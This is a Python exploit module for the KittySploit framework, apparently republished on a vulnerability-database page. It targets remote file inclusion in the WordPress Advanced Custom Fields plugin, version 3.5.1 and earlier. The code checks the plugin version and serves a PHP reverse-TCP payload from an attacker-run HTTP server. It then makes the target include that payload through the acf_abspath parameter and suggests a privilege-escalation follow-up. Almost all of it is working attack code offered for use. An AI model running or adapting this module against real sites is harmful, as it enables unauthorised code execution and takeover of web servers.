WordPress Advanced Custom Fields RFI
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_server import Http_server
from lib.protocols.http.wordpress import Wordpress
class Module(Exploit, Http_client, Http_server, Wordpress):
__info__ = {
"name": "WordPress Advanced Custom Fields RFI",
"description": (
"Advanced Custom Fields plugin <= 3.5.1 is vulnerable to remote file inclusion "
"through core/actions/export.php via acf_abspath. Successful code execution "
"depends on allow_url_include being enabled on target PHP."
),
"author": [
"Charlie Eriksen <charlie[at]ceriksen.com>",
"rastating",
"KittySploit Team"],
"references": [
"http://secunia.com/advisories/51037/",
"https://wpscan.com/vulnerability/6103/"],
"cve": "",
"platform": Platform.PHP,
"arch": Arch.PHP,
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
rfi_host = OptString("", "Host/IP reachable by target for remote inclusion", required=True)
rfi_path = OptString("", "Remote file path served for inclusion", required=False)
def _wordpress_base_path(self) -> str:
# Reuse Http_client's native "path" option as WordPress root.
return self.wp_normalize_base_path(self.path)
def _plugin_readme_path(self) -> str:
return self.wp_plugin_path(self._wordpress_base_path(), "advanced-custom-fields", "readme.txt")
def _vulnerable_export_path(self) -> str:
return self.wp_plugin_path(
self._wordpress_base_path(),
"advanced-custom-fields",
"core",
"actions",
"export.php",
)
def _is_vulnerable_version(self, version: str) -> bool:
try:
return self.wp_version_to_tuple(version) <= (3, 5, 1)
except Exception:
return False
def check(self):
try:
response = self.http_request(method="GET", path=self._plugin_readme_path(), timeout=10)
if not response or response.status_code != 200:
return {"vulnerable": False, "reason": "ACF plugin readme not accessible", "confidence": "low"}
version = self.wp_extract_version_from_readme(response.text or "")
if not version:
return {"vulnerable": False, "reason": "Unable to determine ACF version", "confidence": "low"}
if self._is_vulnerable_version(version):
return {
"vulnerable": True,
"reason": f"Detected vulnerable ACF version: {version}",
"confidence": "high",
}
return {
"vulnerable": False,
"reason": f"ACF version {version} appears patched (> 3.5.1)",
"confidence": "high",
}
except Exception as e:
return {"vulnerable": False, "reason": f"Check failed: {e}", "confidence": "low"}
def run(self):
include_host = (self.rfi_host or "").strip()
include_path = (self.rfi_path or "").strip() or self.random_text(8)
include_path = include_path.lstrip("/")
if not include_host:
print_error("rfi_host is required and must be reachable by the target.")
return False
self.srvport = self.srvport or 8888
payload_php = f"<?php {self.payload} ?>"
include_url = f"http://{include_host}:{self.srvport}/{include_path}"
export_path = self._vulnerable_export_path()
print_status(f"Starting local HTTP payload server on {self.srvhost}:{self.srvport}...")
httpd = None
try:
_, _, httpd = self.web_delivery(
data=payload_php,
forever=True,
background=True,
path=f"/{include_path}",
)
except Exception as e:
print_error(f"Failed to start HTTP server: {e}")
return False
try:
print_status(f"Triggering RFI via {export_path}...")
response = self.http_request(
method="POST",
path=export_path,
data={"acf_abspath": include_url},
timeout=20,
allow_redirects=False,
)
finally:
self.web_shutdown(httpd)
if not response:
self.not_vulnerable()
return False
body = (response.text or "").strip()
print_status(f"Response code: {response.status_code}")
if response.status_code == 500 or "allow_url_include" in body.lower():
print_error("allow_url_include appears disabled on target.")
return False
if response.status_code == 200 and body:
print_success(f"Target response: {body[:400]}")
self.vulnerable()
return True
print_warning("Exploit request sent but no direct output observed.")
return True
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05 Aug 2026 13:34Current
6.2Medium risk
Vulners AI Score6.2